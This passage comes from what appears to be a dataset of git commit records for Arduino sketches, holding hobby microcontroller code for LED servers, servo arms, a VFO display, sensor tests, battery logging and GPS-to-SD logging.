anyway)\\n\\n<br><br>\"\n \"Added smoother fading\\n\\n<br><br>\"\n \"Added AutoConect WifiManager !\\n\\n<br><br>\"\n \"Added basic last IP logging\\n<br>\"\n \"Added \/reset page to reset wifiManager connection settings\\n\\n<br><br>\"\n \"Added \/temp (temperature sensor read of ky-001)\\n\\n<br><br>\"\n \"Added thingspeak support to send temperature each minute<br>\\n\\n<br>\"\n \"Major rewrite for RGB led trip usin mosfet<br>\\n\"\n \"Removed serial to free resources for software pwm (still flikers but less than before)<br>\\n\" + liens);\n });\n server.onNotFound(handleNotFound);\n server.begin();\n \/\/Serial.println(\"HTTP server started\");\n MDNS.addService(\"http\", \"tcp\", 80);\n sensors.begin();\n}\n\nvoid loop() {\n server.handleClient();\n unsigned long currentMillis = millis();\n if (currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis;\n latemp();\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'espLightServerRGB.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a8a7e5bb79a9a66d6901ec1b02397aea16b038f6","subject":"Create desk_help.ino","message":"Create desk_help.ino\n\ncontrols the robot arm on my workbench with potentiometers","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"desk_help.ino","new_file":"desk_help.ino","new_contents":"#include <Servo.h>\n\nServo claw, tilt, pan;\n\nchar cmd_byte;\nint potpin1 (A0);\nint potpin2 (A1);\nint potpin3 (A2);\n\nvoid setup(){\n Serial.begin(9600);\n claw.attach(8);\n tilt.attach(7);\n pan.attach(6);\n}\n \nvoid loop(){\n int val1 = analogRead(potpin1); \n int val2 = analogRead(potpin2); \n int val3 = analogRead(potpin3); \n\n val1 = map(val1, 0, 1023, 0, 179); \n \n claw.write(val1); \n delay(50);\n val2 = map(val2, 0, 1023, 0, 179); \n tilt.write(val2); \n delay(50);\n val3 = map(val3, 0, 1023, 0, 179); \n pan.write(val3); \n delay(50); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'desk_help.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f12d9deda41618947ca27dbafd9c3144f629ae0e","subject":"Initial commit","message":"Initial commit\n","repos":"rzzzwilson\/DigitalVFO,rzzzwilson\/DigitalVFO","old_file":"digital_vfo_3.ino","new_file":"digital_vfo_3.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ A digital VFO using the DDS-60 card.\n\/\/\n\/\/ The VFO will generate signals in the range 1.000000MHz to 30.000000MHz\n\/\/ with a step of 1Hz.\n\/\/\n\/\/ The interface will be a single rotary encoder with a built-in pushbutton.\n\/\/ The frequency display will have a 'selected' digit which can be moved left\n\/\/ and right by pressing the encoder knob and twisting left or right.\n\/\/ Turning the encoder knob will increment or decrement the selected digit by 1\n\/\/ with overflow or underflow propagating to the left.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <LiquidCrystal.h>\n#include <EEPROM.h>\n\n\n\/\/ display constants - below is for ubiquitous small HD44780 16x2 display\n#define NUM_ROWS 2\n#define NUM_COLS 16\n\n\/\/ define data pins we connect to the LCD\nstatic byte lcd_RS = 7;\nstatic byte lcd_ENABLE = 8;\nstatic byte lcd_D4 = 9;\nstatic byte lcd_D5 = 10;\nstatic byte lcd_D6 = 11;\nstatic byte lcd_D7 = 12;\n\n\/\/ define data pins used by the rotary encoder\nstatic int re_pinA = 2; \/\/ encoder A pin\nstatic int re_pinB = 3; \/\/ encoder B pin\nstatic int re_pinPush = 4; \/\/ encoder pushbutton pin\n\n\/\/ max and min frequency showable\n#define MAX_FREQ 30000000L\n#define MIN_FREQ 1000000L\n\n\/\/ size of frequency display in chars (30MHz is maximum frequency)\n#define MAX_FREQ_CHARS 8\n\n\/\/ address in display CGRAM for definable characters\n#define SELECT_CHAR 0 \/\/ shows 'underlined' decimal digits (dynamic, 0 to 9)\n#define SPACE_CHAR 1 \/\/ shows an 'underlined' space character\n\n\/\/ define the numeric digits and space with selection underline\nbyte sel0[8] = {0xe,0x11,0x13,0x15,0x19,0x11,0xe,0x1f};\nbyte sel1[8] = {0x4,0xc,0x4,0x4,0x4,0x4,0xe,0x1f};\nbyte sel2[8] = {0xe,0x11,0x1,0x2,0x4,0x8,0x1f,0x1f};\nbyte sel3[8] = {0x1f,0x2,0x4,0x2,0x1,0x11,0xe,0x1f};\nbyte sel4[8] = {0x2,0x6,0xa,0x12,0x1f,0x2,0x2,0x1f};\nbyte sel5[8] = {0x1f,0x10,0x1e,0x1,0x1,0x11,0xe,0x1f};\nbyte sel6[8] = {0x6,0x8,0x10,0x1e,0x11,0x11,0xe,0x1f};\nbyte sel7[8] = {0x1f,0x1,0x2,0x4,0x8,0x8,0x8,0x1f};\nbyte sel8[8] = {0xe,0x11,0x11,0xe,0x11,0x11,0xe,0x1f};\nbyte sel9[8] = {0xe,0x11,0x11,0xf,0x1,0x2,0xc,0x1f};\nbyte selspace[8] = {0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1f};\n\n\/\/ array of references to the 11 'selected' characters (0 to 9 plus space)\nbyte *sel_digits[] = {sel0, sel1, sel2, sel3, sel4, sel5, sel6, sel7, sel8, sel9, selspace};\n#define SPACE_INDEX 10\n\n\/\/ map select_offset to bump values\nunsigned long offset2bump[] = {1, \/\/ offset = 0\n 10, \/\/ 1\n 100, \/\/ 2\n 1000, \/\/ 3\n 10000, \/\/ 4\n 100000, \/\/ 5\n 1000000, \/\/ 6\n 10000000, \/\/ 7\n 100000000}; \/\/ 8\n\n\/\/ values updated by rotary encoder interrupt routines\nvolatile byte encoderCount = 0;\n\n\/\/ define the display connections\nLiquidCrystal lcd(lcd_RS, lcd_ENABLE, lcd_D4, lcd_D5, lcd_D6, lcd_D7);\n\n\/\/ old values of 're_delta' and 're_position'\nint oldEncOffset = 1;\nbyte oldEncPos = 180;\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ The VFO state variables\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nunsigned long VfoFrequency; \/\/ VFO frequency (Hz)\nint VfoSelectDigit; \/\/ selected digit, indexed from zero at right\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Utility routines for the display.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/------------------------------------------------------------------------------\n\/\/ Function to convert an unsigned long into an array of byte digit values.\n\/\/ buf address of buffer for byte results\n\/\/ bufsize size of the 'buf' buffer\n\/\/ value the unsigned long value to convert\n\/\/ The function won't overflow the given buffer, it will truncate at the left.\n\/\/ \n\/\/ For example, given the value 1234 and a buffer of length 7, will fill the\n\/\/ buffer with 0001234. Given 123456789 it will fill with 3456789.\n\/\/------------------------------------------------------------------------------\nvoid ltobbuff(char *buf, int bufsize, unsigned long value)\n{\n char *ptr = buf + bufsize - 1;\n\n for (int i = 0; i < bufsize; ++i)\n {\n int rem = value % 10;\n \n value = value \/ 10;\n *ptr-- = char(rem);\n }\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Print the frequency on the display with selected colum underlined.\n\/\/ freq the frequency to display\n\/\/ col the selection offset of digit to underline\n\/\/ (0 is rightmost digit, increasing to the left)\n\/\/ The row and columns used to show frequency digits are defined elsewhere.\n\/\/ A final \"Hz\" is written. \n\/\/------------------------------------------------------------------------------\nvoid print_freq(unsigned long freq, int col)\n{\n char buf [MAX_FREQ_CHARS];\n int index = MAX_FREQ_CHARS - col - 1;\n bool lead_zero = true;\n\n ltobbuff(buf, MAX_FREQ_CHARS, freq);\n\n lcd.createChar(SELECT_CHAR, sel_digits[int(buf[index])]);\n lcd.setCursor(NUM_COLS - MAX_FREQ_CHARS - 2, 0);\n for (int i = 0; i < MAX_FREQ_CHARS; ++i)\n {\n int char_val = buf[i];\n\n if (char_val != 0)\n lead_zero = false;\n\n if (lead_zero)\n {\n if (index == i)\n lcd.write(byte(SPACE_CHAR));\n else\n lcd.write(\" \");\n }\n else\n {\n if (index == i)\n lcd.write(byte(SELECT_CHAR));\n else\n lcd.write(char_val + '0');\n }\n }\n \n lcd.write(\"Hz\");\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Interrupt driven rotary encoder interface.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ states for the encode machine\nstatic int re_stateUp = 0;\nstatic int re_stateDown = 1;\nvolatile int re_state = 0;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ internal state variables\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ expecting rising edge on pinA - at detent\nvolatile byte aFlag = 0;\n\n\/\/ expecting rising edge on pinA - at detent\nvolatile byte bFlag = 0;\n\n\/\/ this variable stores our current value of encoder position.\n\/\/ Change to int or uin16_t instead of byte if you want to record a larger range than 0-255\nvolatile long re_delta = 0;\n\n\/\/ stores latest offset value\nvolatile int re_position = 0;\n\n\/\/----------------------------------------------------------\n\/\/ Setup the encoder stuff, pins, etc.\n\/\/----------------------------------------------------------\nvoid re_setup(int position)\n{\n \/\/ set pinA as an input, pulled HIGH to the logic voltage (5V or 3.3V for most cases)\n pinMode(re_pinA, INPUT_PULLUP);\n \n \/\/ set pinB as an input, pulled HIGH to the logic voltage (5V or 3.3V for most cases)\n pinMode(re_pinB, INPUT_PULLUP);\n \n \/\/ set pinPush as an input, pulled HIGH to the logic voltage (5V or 3.3V for most cases)\n pinMode(re_pinPush, INPUT_PULLUP);\n\n \/\/ attach pins to IST on rising edge only\n attachInterrupt(digitalPinToInterrupt(re_pinA), pinA_isr, RISING);\n attachInterrupt(digitalPinToInterrupt(re_pinB), pinB_isr, RISING);\n attachInterrupt(digitalPinToInterrupt(re_pinPush), pinPush_isr, CHANGE);\n\n \/\/ start at given select digit position\n re_position = position;\n}\n\nvoid bump_encoder_posn(long bump)\n{\n if (re_state == re_stateUp)\n {\n re_delta += bump * offset2bump[re_position];\n }\n else if (re_state == re_stateDown)\n {\n re_position -= bump;\n if (re_position < 0)\n re_position = 0;\n if (re_position > 7)\n re_position = 7;\n }\n}\n\nvoid pinPush_isr()\n{\n \/\/ stop interrupts, read Push pin, restore interrupts\n byte reading;\n\n cli();\n reading = PIND & 0x10;\n if (reading)\n re_state = re_stateUp;\n else\n re_state = re_stateDown;\n sei();\n}\n\nvoid pinA_isr()\n{\n \/\/ stop interrupts, read A & B pins, restore interrupts\n byte reading;\n\n cli();\n reading = PIND & 0xC;\n\n if (reading == B00001100 && aFlag)\n { \/\/ check that we have both pins at detent (HIGH) and that we are expecting detent on\n \/\/ this pin's rising edge\n bump_encoder_posn(-1);\n bFlag = 0; \/\/reset flags for the next turn\n aFlag = 0; \/\/reset flags for the next turn\n }\n else if (reading == B00000100)\n \/\/ show we're expecting pinB to signal the transition to detent from free rotation\n bFlag = 1;\n sei();\n}\n\nvoid pinB_isr()\n{\n \/\/ stop interrupts, read A & B pins, restore interrupts\n byte reading;\n\n cli();\n reading = PIND & 0xC;\n \n if (reading == B00001100 && bFlag)\n { \/\/ check that we have both pins at detent (HIGH) and that we are expecting detent on\n \/\/ this pin's rising edge\n bump_encoder_posn(+1);\n bFlag = 0; \/\/reset flags for the next turn\n aFlag = 0; \/\/reset flags for the next turn\n }\n else if (reading == B00001000)\n \/\/ show we're expecting pinA to signal the transition to detent from free rotation\n aFlag = 1;\n sei();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Code to save\/restore in EEPROM.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ address for unsigned long 'frequency'\nstatic int AddressFreq = 0;\n\n\/\/ address for int 'selected digit'\nstatic int AddressSelDigit = AddressFreq + sizeof(AddressFreq);\n\n\n\/\/ save VFO state to EEPROM\nvoid save_to_eeprom()\n{\n EEPROM.put(AddressFreq, VfoFrequency);\n EEPROM.put(AddressSelDigit, VfoSelectDigit);\n}\n\n\/\/ restore VFO state from EEPROM\nvoid restore_from_eeprom()\n{\n EEPROM.get(AddressFreq, VfoFrequency);\n EEPROM.get(AddressSelDigit, VfoSelectDigit);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Code to handle the DDS-60.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid update_dds60(unsigned long freq)\n{\n \n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ The standard Arduino setup() function.\n\/\/------------------------------------------------------------------------------\n\nvoid setup()\n{\n Serial.begin(115200);\n\n \/\/ initialize the display\n lcd.begin(NUM_COLS, NUM_COLS); \/\/ define display size\n lcd.clear();\n lcd.createChar(SPACE_CHAR, sel_digits[SPACE_INDEX]);\n\n restore_from_eeprom();\n \n \/\/ set up the rotary encoder\n re_setup(VfoSelectDigit);\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Standard Arduino loop() function.\n\/\/------------------------------------------------------------------------------\nvoid loop()\n{\n static unsigned long old_freq = 0L;\n static int old_position = -1;\n \n long copy_re_delta;\n \n \/\/ do an atomic copy\/reset of the volatile RE state variables\n cli();\n copy_re_delta = re_delta;\n VfoSelectDigit = re_position;\n re_delta = 0L;\n sei();\n\n \/\/ calculate new frequency, limit if required\n VfoFrequency += copy_re_delta;\n if (VfoFrequency > MAX_FREQ)\n VfoFrequency = MAX_FREQ;\n if (VfoFrequency < MIN_FREQ)\n VfoFrequency = MIN_FREQ;\n\n \/\/ display frequency if changed, update DDS-60\n if (old_freq != VfoFrequency || old_position != VfoSelectDigit)\n {\n print_freq(VfoFrequency, VfoSelectDigit);\n old_freq = VfoFrequency;\n old_position = VfoSelectDigit;\n\n save_to_eeprom();\n \n update_dds60(VfoFrequency);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'digital_vfo_3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c11b81c88b296363f1c6c8d75dc755935390a432","subject":"Arduino Code","message":"Arduino Code\n","repos":"hydroArgentum\/Auduino","old_file":"MasterVolume\/MasterVolume.ino","new_file":"MasterVolume\/MasterVolume.ino","new_contents":"\/\/Message\nbyte input_byte;\n\/\/Setup\nvoid setup(){\n \/\/Serial baud rate 9600.\n Serial.begin(9600);\n \/\/1\/5\n pinMode(2, OUTPUT);\n \/\/2\/5\n pinMode(3, OUTPUT);\n \/\/3\/5\n pinMode(4, OUTPUT);\n \/\/4\/5\n pinMode(5, OUTPUT);\n \/\/5\/5\n pinMode(6, OUTPUT);\n}\n\/\/Main loop.\nvoid loop(){\n \/\/Buffer size is 1 byte.\n if(Serial.available() == 1){\n \/\/Read from buffer.\n input_byte = Serial.read();\n }\n switch (input_byte){\n case 0:\n Serial.print(\"THIS IS ARDUINO!\");\n break;\n case 1:\n digitalWrite(2, HIGH);\n digitalWrite(3, LOW);\n digitalWrite(4, LOW);\n digitalWrite(5, LOW);\n digitalWrite(6, LOW);\n break;\n case 2:\n digitalWrite(2, HIGH);\n digitalWrite(3, HIGH);\n digitalWrite(4, LOW);\n digitalWrite(5, LOW);\n digitalWrite(6, LOW);\n break;\n case 3:\n digitalWrite(2, HIGH);\n digitalWrite(3, HIGH);\n digitalWrite(4, HIGH);\n digitalWrite(5, LOW);\n digitalWrite(6, LOW);\n break;\n case 4:\n digitalWrite(2, HIGH);\n digitalWrite(3, HIGH);\n digitalWrite(4, HIGH);\n digitalWrite(5, HIGH);\n digitalWrite(6, LOW);\n break;\n case 5:\n digitalWrite(2, HIGH);\n digitalWrite(3, HIGH);\n digitalWrite(4, HIGH);\n digitalWrite(5, HIGH);\n digitalWrite(6, HIGH);\n break;\n }\n \/\/Clear message.\n input_byte = 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MasterVolume\/MasterVolume.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"57df4dc96f2beb0f24c4c90ae022276adfcc831d","subject":"Added whiskers test","message":"Added whiskers test\n\nPrints values of all analog inputs\n","repos":"zteifel\/booboo,zteifel\/booboo","old_file":"Tests\/whiskers_test\/whiskers_test.ino","new_file":"Tests\/whiskers_test\/whiskers_test.ino","new_contents":"#include <Servo.h>\n\nconst int WHISKER_L_PIN = A2;\nconst int WHISKER_R_PIN = A3;\n\n\nconst float analogConversionFactor = 5.0 \/ 1024.0;\nfloat whiskerLVal, whiskerRVal;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(A0,INPUT);\n pinMode(A1,INPUT);\n pinMode(WHISKER_L_PIN, INPUT);\n pinMode(WHISKER_L_PIN,INPUT);\n pinMode(A4,INPUT);\n pinMode(A5,INPUT);\n}\n\nvoid loop() {\n whiskerLVal = analogRead(WHISKER_L_PIN) * analogConversionFactor; \n whiskerRVal = analogRead(WHISKER_R_PIN) * analogConversionFactor;\n float a0 = analogRead(A0) * analogConversionFactor;\n float a1 = analogRead(A1) * analogConversionFactor;\n float a4 = analogRead(A4) * analogConversionFactor; \n float a5 = analogRead(A5) * analogConversionFactor; \n\n Serial.println(\n \"A0: \" +String(a0) + \"\\t\" +\n \"A1: \" +String(a1) + \"\\t\" +\n \"A2: \" +String(whiskerLVal) + \"\\t\" +\n \"A3: \" +String(whiskerRVal) + \"\\t\" +\n \"A4: \" +String(a1) + \"\\t\" +\n \"A5: \" +String(a1)\n );\n \/* Serial.println(\n \"Left: \" +String(whiskerLVal) + \"\\t\" +\n \"Right: \"+String(whiskerRVal)\n ); *\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/whiskers_test\/whiskers_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59d6658c5cb981896ddef83f683dc1928b1175c6","subject":"Remove a debugging line","message":"Remove a debugging line\n","repos":"smalruby\/smalrubot,Carmer\/dino,smalruby\/smalrubot,Carmer\/dino,austinbv\/dino,MinasMazar\/dino,austinbv\/dino,MinasMazar\/dino","old_file":"src\/du_ethernet.ino","new_file":"src\/du_ethernet.ino","new_contents":"#include \"Dino.h\"\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Configure your MAC address, IP address, and HTTP port here.\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,0,77);\nint port = 80;\n\nDino dino;\nEthernetServer server(port);\nEthernetClient client;\nchar c;\nint index = 0;\nchar request[8];\n\n\/\/ Dino.h doesn't handle TXRX. Setup a function to tell it to write to the TCP socket.\nvoid writeResponse(char *response) { client.println(response); }\nvoid (*writeCallback)(char *str) = writeResponse;\n\nvoid setup() {\n \/\/ Explicitly disable the SD card.\n pinMode(4,OUTPUT);\n digitalWrite(4,HIGH);\n \n \/\/ Start up the network connection and server.\n Ethernet.begin(mac, ip);\n server.begin();\n \n \/\/ Start serial for debugging.\n Serial.begin(115200);\n Serial.print(\"Dino::TCP started at \");\n Serial.print(Ethernet.localIP());\n Serial.print(\" on port \");\n Serial.println(port);\n \n \/\/ Attach the write callback.\n dino.setupWrite(writeCallback); \n}\n\nvoid loop() {\n \/\/ Listen for connections.\n client = server.available();\n \n \/\/ Handle a connection.\n if (client) {\n while (client.connected()) {\n while (client.available()) {\n c = client.read();\n if (c == '!') index = 0; \/\/ Reset request\n else if (c == '.') dino.process(request); \/\/ End request and process\n else request[index++] = c; \/\/ Append to request\n }\n if (dino.updateReady()) dino.updateListeners();\n }\n client.stop();\n }\n}\n\n","old_contents":"#include \"Dino.h\"\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Configure your MAC address, IP address, and HTTP port here.\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,0,77);\nint port = 80;\n\nDino dino;\nEthernetServer server(port);\nEthernetClient client;\nchar c;\nint index = 0;\nchar request[8];\n\n\/\/ Dino.h doesn't handle TXRX. Setup a function to tell it to write to the TCP socket.\nvoid writeResponse(char *response) { Serial.println(response); client.println(response); }\nvoid (*writeCallback)(char *str) = writeResponse;\n\nvoid setup() {\n \/\/ Explicitly disable the SD card.\n pinMode(4,OUTPUT);\n digitalWrite(4,HIGH);\n \n \/\/ Start up the network connection and server.\n Ethernet.begin(mac, ip);\n server.begin();\n \n \/\/ Start serial for debugging.\n Serial.begin(115200);\n Serial.print(\"Dino::TCP started at \");\n Serial.print(Ethernet.localIP());\n Serial.print(\" on port \");\n Serial.println(port);\n \n \/\/ Attach the write callback.\n dino.setupWrite(writeCallback); \n}\n\nvoid loop() {\n \/\/ Listen for connections.\n client = server.available();\n \n \/\/ Handle a connection.\n if (client) {\n while (client.connected()) {\n while (client.available()) {\n c = client.read();\n if (c == '!') index = 0; \/\/ Reset request\n else if (c == '.') dino.process(request); \/\/ End request and process\n else request[index++] = c; \/\/ Append to request\n }\n if (dino.updateReady()) dino.updateListeners();\n }\n client.stop();\n }\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"15921e9193b15bc1f206e1aeaaaf0c698e3e96af","subject":"Adds batlog.ino","message":"Adds batlog.ino\n","repos":"freespace\/xadow-watch,freespace\/xadow-watch","old_file":"batlog.ino","new_file":"batlog.ino","new_contents":"typedef struct {\n uint8_t logbat;\n uint16_t eeaddr;\n} BatLog_t;\n\nBatLog_t BatLog = {0};\n\nvoid batlog_init() {\n BatLog.eeaddr = 1;\n\n if (EEPROM[0] != 0x05) {\n EEPROM[0] = 0x05;\n \/\/ filled the log with 0xFF so we know later when the log stops.\n for (uint16_t addr = 1; addr < 1024; ++addr) {\n EEPROM[addr] = 0xFF;\n }\n BatLog.logbat = 1;\n } else {\n Serial.begin(9600);\n\n delay(3000);\n Serial.println(\"Battery log detected, not overwriting\");\n\n for (uint16_t eeaddr = 1; eeaddr < 1024; ++eeaddr) {\n Serial.print(eeaddr, DEC);\n Serial.print(\" \");\n Serial.println(EEPROM[eeaddr], DEC);\n delay(10);\n\n \/\/ no need to print the entire log\n if (EEPROM[eeaddr] == 0xFF) break;\n }\n delay(3000);\n }\n}\n\nvoid batlog_tick(uint8_t changes) {\n if (changes >= 2 && BatLog.logbat) {\n if (BatLog.eeaddr < 1024) {\n uint8_t batvol = Xadow.getBatVol()*10;\n EEPROM[BatLog.eeaddr] = batvol;\n BatLog.eeaddr += 1;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'batlog.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3fc71e1eafc359b440240e613ac0d1e524e347f7","subject":"Add basic functioning sketch","message":"Add basic functioning sketch\n","repos":"stevenpetryk\/rustle","old_file":"sketches\/basic.ino","new_file":"sketches\/basic.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stevenpetryk\/rustle.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c1c7ec9b5eb47bf401bcfa7059cc25d0a204ec61","subject":"Added GPS+SD module","message":"Added GPS+SD module\n","repos":"suvayu\/GPS_tracker","old_file":"gps_sd.cpp.ino","new_file":"gps_sd.cpp.ino","new_contents":"#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n#include <SPI.h>\n#include <SD.h>\n\nFile myFile;\nuint32_t lastsave(0);\nSoftwareSerial mySerial(3, 2);\nAdafruit_GPS GPS(&mySerial);\n#define GPSECHO true\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\nvoid setup() \n{\n Serial.begin(115200);\n \/\/Serial.println(\"Adafruit GPS library basic test!\");\n GPS.begin(9600);\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n GPS.sendCommand(PGCMD_ANTENNA);\n useInterrupt(true);\n delay(1000);\n mySerial.println(PMTK_Q_RELEASE);\n \/\/Serial.print(\"Initializing SD card...\");\n if (!SD.begin(4)) {\n Serial.println(\"initialization failed!\");\n return;\n }\n \/\/Serial.println(\"initialization done.\");\n myFile = SD.open(\"test.txt\", FILE_WRITE);\n myFile.print(\"GPS Data-\");\n myFile.flush();\n}\n\nSIGNAL(TIMER0_COMPA_vect) {\n char c = GPS.read();\n#ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c; \n#endif\n}\n\nvoid useInterrupt(boolean v) {\n if (v) {\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } else {\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nuint32_t timer = millis();\nvoid loop() \/\/ run over and over again\n{\n if(myFile){\n \/\/Serial.print(\"In Loop\");\n if (! usingInterrupt) {\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n if (GPSECHO)\n if (c) Serial.print(c);\n }\n if (GPS.newNMEAreceived()) {\n if (!GPS.parse(GPS.lastNMEA())) \n return; \n }\n \n if (timer > millis()) timer = millis();\n if (millis() - timer > 2000) { \n timer = millis(); \/\/ reset the timer\n \n myFile.print(\"\\nTime: \");\n myFile.print(GPS.hour, DEC); myFile.print(':');\n myFile.print(GPS.minute, DEC); myFile.print(':');\n myFile.print(GPS.seconds, DEC); myFile.print('.');\n myFile.println(GPS.milliseconds);\n myFile.print(\"Date: \");\n myFile.print(GPS.day, DEC); myFile.print('\/');\n myFile.print(GPS.month, DEC); myFile.print(\"\/20\");\n myFile.println(GPS.year, DEC);\n \n myFile.print(\"Fix: \"); myFile.print((int)GPS.fix);\n myFile.print(\" quality: \"); myFile.println((int)GPS.fixquality);\n Serial.print(\"Year: \"); Serial.print(GPS.year, DEC); \n Serial.print(\" Fix: \"); Serial.println((int)GPS.fix);\n if (GPS.fix) {\n Serial.println(\"Getting data\");\n myFile.print(\"Location: \");\n myFile.print(GPS.latitude, 4); Serial.print(GPS.lat);\n myFile.print(\", \"); \n myFile.print(GPS.longitude, 4); Serial.println(GPS.lon);\n myFile.print(\"Location (in degrees, works with Google Maps): \");\n myFile.print(GPS.latitudeDegrees, 4);\n myFile.print(\", \"); \n myFile.println(GPS.longitudeDegrees, 4);\n \n myFile.print(\"Speed (knots): \"); Serial.println(GPS.speed);\n 